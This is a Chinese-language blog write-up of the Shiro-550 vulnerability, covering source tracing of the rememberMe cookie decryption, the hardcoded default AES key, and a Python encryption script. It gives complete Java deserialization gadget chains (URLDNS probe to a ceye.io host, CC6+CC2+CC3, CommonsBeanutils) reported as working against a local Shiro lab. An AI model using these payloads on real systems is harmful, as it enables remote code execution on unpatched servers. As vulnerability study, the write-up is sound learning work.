shiro-550

URLDNS验证!CC!CB!

一.环境配置

之后启动时,报404,要加上这两个

localhost:8123访问tomcat启动成功,然后直接用上下文路径访问(http://localhost:8123/shirodemo_war/login.jsp)

tomcat自己不知道怎么就关了,直接在jdk中运行也是一样的

然后浏览器插件设置代理模式端口8100,bp监听8100

localhost抓不到包,用IPV4的ip去替换访问就可以抓到包了

root,secret 勾选rememberMe登录抓包,看到向浏览器返回了rememberMe记录身份信息的,下一次就可以直接登录

下一次直接成功登录了,接下来去分析源码的具体逻辑

二.逆向分析

<2.1>解密,反序列化

  1. 全局搜索cookie,找到CookieRemberMeManager的getRememberedSerializedIdentity方法

    • 从cookie中读取rememberMe的值,非deleteMe的情况下对其base64解码,返回解码结果
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {

    //这里先判断是否是http请求
    if (!WebUtils.isHttp(subjectContext)) {
    if (log.isDebugEnabled()) {
    String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
    "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
    "immediately and ignoring rememberMe operation.";
    log.debug(msg);
    }
    return null;
    }

    WebSubjectContext wsc = (WebSubjectContext) subjectContext;
    if (isIdentityRemoved(wsc)) {
    return null;
    }

    HttpServletRequest request = WebUtils.getHttpRequest(wsc);
    HttpServletResponse response = WebUtils.getHttpResponse(wsc);


    String base64 = getCookie().readValue(request, response);

    if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;

    if (base64 != null) {
    base64 = ensurePadding(base64);
    if (log.isTraceEnabled()) {
    log.trace("Acquired Base64 encoded identity [" + base64 + "]");
    }
    byte[] decoded = Base64.decode(base64);
    if (log.isTraceEnabled()) {
    log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
    }
    return decoded;
    } else {
    //no cookie set - new site visitor?
    return null;
    }
    }
  2. 向上查找它的用法,抽象类AbstractRememberMeManager 的 getRememberedPrincipals方法中将 调自己的函数getRememberedSerializedIdentity()的结果赋值给数组bytes(即它就是base64解码之后的结果)

    然后bytes作为参数调用convertBytesToPrincipals

    这个方法就是要解密和反序列化

    先看反序列化,反序列化可以成为CC的利用之处


    解密的代码

    跟进去

    发现decrypt是个接口的方法,该方法的参数为:被加密的数组,还有key

    那经过刚刚的分析,它传的两个参数是base64解密之后的数组和**getDecryptionCipherKey()**得到的key

    找到实现了接口的具体的方法

    知道它的key的话也就能构造了

    来向上找它的key,跟进getDecryptionCipherKey()函数

    返回的一个属性,找找哪里写的属性

    找到函数里面写入了它的值,这个值是方法的参数有关,那就继续向上找哪调的方法呗

    到这儿,再接着找

    终于找到是与常量DEFAULT_CIPHER_KEY_BYTES有关

    所以与rememberMe相关的是有一个固定的key值去加密的,注释中写到是AES加密


<2.2>加密,序列化

就是同理了

找找找到序列化和加密

加密和上面的很相似,向上继续找用法

同样找到了这个常量最终的key

将序列化后加密的 Cookie 进行base64编码操作

总的来说就是要将序列化的payload aes加密再base64编码


三.漏洞利用

Shiro原生的依赖里面CC是不能用的但可以手动修改pom.xml添加CC依赖,URLDNS在shiro原生的依赖里就可以用

<3.1>URLDNS验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class UrlDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
// Person person = new Person("xiao", 18, 01);
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
//这里不想要发起请求,把url对象的hashcode改成不是-1就可以了
URL url = new URL("http://be5fsm.ceye.io");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url, 1234);
hashmap.put(url, 1);//不改变的话在put的时候就已经调用hash,key的hashCode方法了,已经发送dns请求了
//这里把hashCode改回-1
//通过反射改变已有对象的属性
hashcodefield.set(url, -1);
serialize(hashmap);
// unserialize("ser.bin");

}

用脚本将ser.bin文件中序列化后的payloadAES加密base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES


def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext

def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext

if __name__ == "__main__":
data = get_file_data("ser.bin")
print(aes_enc(data))

然后换掉rememberMe就好了,注意要删除JSESSIONID

image-20250521153443860

<3.2>CC2+CC3+CC6

单独CC2需要CC4版本 PriorityQueue这个类是commons-collections4才有的类,

1.分析CC6无法用:

cc6报错了,无法加载Transformer数组

原因分析:

在反序列化这里不是用的原生的ObjectInputStream的readObject()

反序列化过程中会涉及到resolveClass(),在这儿有不同

在这里ClassResolvingObjectInputStream 为 shiro 框架实现的自定义类,重写的resolveClass中用到ClassUtils.forName()

原生的resolveClass用到Class.forName()

对比见下图:

具体看一下这里用的ClassUtils.forName()

由注释可知它是现有的类加载器,当前类的(即 ClassUtils 类)类加载器,一系统类加载器,加载jdk里面的,是加载不到CC依赖的

跟进去发现是WebappClassLoader加载

WebappClassLoader.loadClass

是从tomcat缓存里面找,jdk缓存里面找,然后直接EXT加载

tomcat跳过App直接到EXT,不走双亲委派

1
2
//加载链
WebAppClassLoader → ExtClassLoader → Bootstrap ClassLoader

tomcat内部加载机制

现象:

Class.forName会解析数组类型,ClassLoader.findClass不会解析数组(原因:在(4))

归根结底tomcatj加载类

如果反序列化流中包含非 Java 自身的数组(非String[], byte[]等),则会出现无法加载类的错误。

(1)先在本地 cache 缓存中查找该类是否已经加载过,看看 Tomcat 有没有加载过这个类

(2)如果 Tomcat 没有加载过这个类,则从系统类加载器的 cache 缓存中查找是否加载过

(3)如果没有,则使用 ExtClassLoader 类加载器类加载,重点来了,Tomcat 的 WebAppClassLoader 并没有先使用 AppClassLoader 来加载类,而是直接使用了 ExtClassLoader 来加载类。不过 ExtClassLoader 依然遵循双亲委派,它会使用 Bootstrap ClassLoader 来对类进行加载,保证了 Jre 里面的核心类不会被重复加载。

(4)如果没有加载成功,WebAppClassLoader 就会调用自己的 findClass() 方法由自己来对类进行加载,先在 WEB-INF/classes 中加载,再从 WEB-INF/lib 中加载。**就是在这里加载不到数组类的**

  • 在目录WEB-INF下的类(它自己的)是由findClass加载的(与UrlClassLoader.findClass逻辑是差不多的,都转换了路径)

    • findClass加载:类名加个.class后缀转换成文件路径,再去调defineClass加载文件

      这里数组类Transformer加上.class是没有这个文件的,所以这是它真正就加载不到的原因

其它是由jdk 的Class.forName()加载的,不会做路径转换

(5)如果仍然未加载成功,WebAppclassLoader 会委派给 SharedClassLoader,SharedClassLoad 再委派给 CommonClassLoader,CommonClassLoader 委派给 AppClassLoader,直到最终委派给 BootstrapClassLoader,最后再一层一层地在自己目录下对类进行加载。

原文链接:https://blog.csdn.net/a745233700/article/details/120802616


2.CC6+CC2+CC3的利用

我们CC6数组是不能用了(用数组也是因为要借助ConstantTransformer,给transform方法传参)

  • 回顾之前学过的链子里面能控制最后transformer(arg)中参数arg的就只有CC6&&CC3.4.2

    • 具体体现:
      CC6中TiedMapEntry构造器中的key就是TiedMapEntry.getValue(key).(map.transform(key))

      CC4.3.2中PriorityQueue.add()的参数会传到TransformingComparator.compare.(comparator.transform(args))

所以下面我们就构造CC6+CC2+CC3的利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC6_CC2 {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {

//CC3
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field name = c1.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field tfactory = c1.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);


//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});


//CC6
HashMap map = new HashMap();//这儿的map key值为空
Map lazymap= LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry =new TiedMapEntry(lazymap,templates);
HashMap map2 = new HashMap();
map2.put(tiedMapEntry, "bbb");
map.remove(templates);
Class<LazyMap> c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
serialize(map2);
unserialize("ser.bin");


}



public static void serialize (Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(o);
}
public static Object unserialize (String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}

}

然后还是序列化后AES加密,base64编码替换rememberMe

<3.3>commons-beanutils-1.8.3

JavaBean

  • 这个Java类必须具有一个无参的构造函数
  • 属性必须私有化。
  • 私有化的属性必须通过public类型的方法暴露给其它程序,并且方法的命名也必须遵守一定的命名规范。

引入:

PropertyUtils.getProperty它动态调了方法,存在安全风险

1
2
3
4
5
6
7
8
public class BeanTest {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Person person = new Person("aaa",18);
System.out.println(PropertyUtils.getProperty(person,"age"));
//动态执行代码
}
}

1.底层实现分析

调另一个类PropertyUtilsBean对象的getProperty,接着走到getNestedProperty方法

这个方法里面接着调getSimpleProperty方法

接着这个方法里面获取到一个属性描述符descriptor

得到descriptor后,获得属性的名字(驼峰命名),get,set方法

重点是这里,获得方法后反射调用bean对象符合javaBean格式的方法

在之前见过的TemplatesImpl中存在两处可利用点,可以作为切入点,将javaBean连接到利用链上

  • getOutputProperties是符合javaBean格式的,它还调了newTransformer刚刚好可以接上之前的利用链

2.具体构造过程

PropertyUtils.getProperty调TemplatesImpl的私有属性outputProperties的话,就会动态调到TemplatesImpl的getOutputProperties方法,接着方法里面(CC3)还调了newTransformer加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

//现在构造payload,没有反序列化,先反射给_tfactory赋值
Class<TemplatesImpl> c = TemplatesImpl.class;
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

那现在就分析向上寻找谁调用PropertyUtils.getProperty,一直找到反序列化的入口类

找到有点眼熟的compare方法里面有调这个方法,那就想他有可能和CC2连上

具体看一下property可控,o1目前由调compare的方法决定

那想的是这儿的compare相当于CC2中TransforingComparator.compare(),所以从这里开始连上CC2前面队列就好了

这里尝试的构造先手动给_factory赋值了,先看add那里能否成功触发

啊哦!这里发现按之前学的思路写add的时候并没有走到利用链上,没有弹出计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

//现在构造payload,没有反序列化,先反射给_tfactory赋值
Class<TemplatesImpl> c = TemplatesImpl.class;
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());


byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
//System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));
BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");
PriorityQueue<Object> queue = new PriorityQueue<>(beanComparator);
queue.add(templates);
queue.add(1);


报错:

调试走到这儿,发现是因为add后续走到的BeanComparator里面,o1为Integer,没有参数为Integer的getProperty方法

所以add能触发CB的PropertyUtils.getProperty的话是不能传数字的

关联之前学过的

回顾之前的CC2CC4我们就是这么写的呀, add两次就改变了size的值,同时add直接传参也达到控制了transformer(arg)的参数的效果,不用数组了

它们第二次add(1)没有报错是因为它们为了断开后面先调的是TransformingCompare.constantTransformer.transfomer(),这个方法就对参数没要求所以不会报错的

add之后才反射修改TransformingCompare的comparator为instantiateTransformer或invokerTransformer

payload1

那也按照这个思路,继续编写CB的payload,把后面断开这样add的时候不会触发CB也就能add数字了(组长的链子也是这么写的)

  • 它的依赖要注意一下在本地是有CC4的:
    因为它在本地借用了TransformingComprae断开后面防止add提前消耗利用链,反序列化的时候已经改回来了去打shiro倒是也不影响的

  • add两次断开后面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);

TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

BeanComparator<Object> beanComparator = new BeanComparator<>("outputProperties");

//断开,先调 TransformingComparator的compare
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates);
queue.add(1);

//add之后再修改回来
Class<PriorityQueue> c4 = PriorityQueue.class;
Field comparator = c4.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,beanComparator);


serialize(queue);
unserialize("ser.bin");

报错:

BeanComparator构造器中ComparableComparator是CC中的,而shiro默认是没有CC依赖的

发现还有一个构造器,用这个就可以不用CC依赖了,所以需要找一个继承了Comparator和Serialize的传进构造器中

所以最后修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);

TransformingComparator<Object, Integer> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());

//断开,先调 TransformingComparator的compare
PriorityQueue<Object> queue = new PriorityQueue<>(transformingComparator);
queue.add(templates);
queue.add(1);

//add之后再修改回来
Class<PriorityQueue> c4 = PriorityQueue.class;
Field comparator = c4.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,beanComparator);


serialize(queue);
unserialize("ser.bin");

shiro成功打通!

payload2

除了这么写,CC4当时还尝试了直接反射修改size,同样的在这儿也写一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);

byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));

byte[][]codes={code};
bytecodes.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
PriorityQueue queue = new PriorityQueue(beanComparator);
queue.add(templates);
Class<PriorityQueue> c4 = PriorityQueue.class;
Field size = c4.getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
serialize(queue);
unserialize("ser.bin");


  • 这里add并不会触发利用链(size是在add之后才反射修改的,所以i=size=0,不会调siftUp及后续利用链的)

这么写还挺简单,不用考虑断开怎么构造了嘿嘿

报错:

这是因为

ysoserial中的CB版本是1.9.2,shiro自带的是1.8.3

换成在CB1.8.3的环境就好了

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
</dependencies>

shiro打通+1

payload3

组长的视频中还提到一种断开的点 new PriorityQueue的时候啥都不传,这样就和CB断开了,就可以add两次传数字,再反射修改queue属性了

payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
TemplatesImpl templates = new TemplatesImpl();
Class<TemplatesImpl> c1 = TemplatesImpl.class;
Field nameFiled = c1.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates,"aaa");
Field bytecodes = c1.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
Class<TemplatesImpl> c = TemplatesImpl.class;
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
byte[] code= Files.readAllBytes(Paths.get("D://Security/java/tmp/classes/Test_.class"));
byte[][]codes={code};
bytecodes.set(templates,codes);
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
PriorityQueue<Object> queue = new PriorityQueue<>();
queue.add(2);
queue.add(1);
//add之后再修改回来
Class<PriorityQueue> c4 = PriorityQueue.class;
Field comparator = c4.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,beanComparator);
Object[] objects = {templates, templates};
Field queueField = c4.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,objects);//这里注意queue是数组
serialize(queue);
unserialize("ser.bin");

shiro打通+1


shiro-550
https://bxhhf.github.io/2025/05/23/Shiro-550/
作者
bxhhf
发布于
2025年5月23日
许可协议